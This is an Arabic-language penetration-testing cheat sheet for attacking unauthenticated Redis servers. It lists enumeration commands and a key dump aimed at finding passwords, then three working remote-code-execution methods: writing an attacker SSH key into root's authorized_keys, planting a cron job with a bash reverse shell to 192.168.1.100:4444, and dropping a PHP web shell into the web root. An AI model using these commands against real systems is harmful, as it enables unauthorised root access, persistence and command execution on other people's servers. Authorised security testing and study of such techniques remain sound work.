Redis — قاعدة بيانات In-Memory. غالباً بدون authentication ويعطي RCE بسهولة.
# Nmap
nmap -p 6379 -sV 192.168.1.1
nmap -p 6379 --script redis-info 192.168.1.1
# اتصال مباشر
redis-cli -h 192.168.1.1
redis-cli -h 192.168.1.1 ping
redis-cli -h 192.168.1.1 info
redis-cli -h 192.168.1.1 keys '*'
redis-cli -h 192.168.1.1 get <key>
# NetExec
nxc redis 192.168.1.1
redis-cli -h 192.168.1.1
> info server
> keys *
> get password # أحياناً تجد كلمات مرور
# إنشاء SSH key
ssh-keygen -t rsa -f redis_key
# كتابة المفتاح إلى Redis
(echo -e "\n\n"; cat redis_key.pub; echo -e "\n\n") > spaced_key.txt
cat spaced_key.txt | redis-cli -h 192.168.1.1 -x set ssh_key
redis-cli -h 192.168.1.1
> config set dir /root/.ssh
> config set dbfilename authorized_keys
> save
# الدخول
ssh -i redis_key [email protected]
redis-cli -h 192.168.1.1
> config set dir /var/spool/cron/crontabs
> config set dbfilename root
> set cron "\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.1.100/4444 0>&1\n\n"
> save
redis-cli -h 192.168.1.1
> config set dir /var/www/html
> config set dbfilename shell.php
> set shell "<?php system($_GET['cmd']); ?>"
> save
| الأداة | الاستخدام |
|---|---|
| redis-cli | Client رسمي |
| nmap redis-info | Enumeration |
| nxc redis | فحص سريع |